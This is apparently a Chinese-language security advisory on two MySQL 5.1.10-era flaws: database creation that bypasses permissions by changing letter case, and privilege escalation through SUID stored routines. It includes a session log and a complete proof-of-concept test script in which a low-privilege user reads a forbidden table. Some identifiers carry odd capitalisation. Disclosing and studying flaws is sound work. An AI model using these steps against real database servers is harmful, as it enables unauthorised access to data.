受影響系統:
MySQL AB MySQL <= 5.1.10
描述:BUGTRAQ ID: 19559
MySQL是一款使用非常廣泛的開放源代碼關系數據庫系統,擁有各種平台的運行版本。在MySQL上,擁有訪問權限但無創建權限的用戶可以創建與所訪問數據庫僅有名稱字母大小寫區別的新數據庫。成功利用這個漏洞要求運行MySQL的文件系統支持區分大小寫的文件名。
此外,由於在錯誤的安全環境中計算了suid例程的參數,攻擊者可以通過存儲的例程以例程定義者的權限執行任意DML語句。成功攻擊要求用戶對所存儲例程擁有EXECUTE權限。
測試方法:
警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
1 創建數據庫
$ mysql -h my.mysql.server -u sample -p -A sample Enter passWord: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 263935 to server version: 4.1.16-standard mysql> create database another; ERROR 1044: Access denIEd for user 'sample'@'%' to database 'another' MySQL> create database sAmple; Query OK, 1 row affected (0.00 sec)
2 權限提升
--disable_warnings drop database if exists mysqltest1; drop database if exists mysqltest2; drop function if exists f_suid; --enable_warnings # Prepare playground create database mysqltest1; create database mysqltest2; create user malory@localhost; grant all privileges on mysqltest1.* to malory@localhost; # Create harmless (but SUID!) function create function f_suid(i int) returns int return 0; grant execute on function test.f_suid to malory@localhost; use mysqltest2; # Create table in which malory@localhost will be interested but to which # he won't have any access create table t1 (i int); connect (malcon, localhost, malory,,mysqltest1); # Correct malory@localhost don't have access to mysqltest2.t1 --error ER_TABLEACCESS_DENIED_ERROR select * from mysqltest2.t1; # Create function which will allow to exploit security hole delimiter |; create function f_evil () returns int sql security invoker begin set @a:= current_user(); set @b:= (select count(*) from mysqltest2.t1); return 0; end| delimiter ;| # Again correct --error ER_TABLEAccess_DENIED_ERROR select f_evil(); select @a, @b; # Oops!!! it seems that f_evil() is executed in the context of # f_suid() definer, so malory@locahost gets all info that he wants select test.f_suid(f_evil()); select @a, @b; connection default; drop user malory@localhost; drop database mysqltest1; drop database MySQLtest2;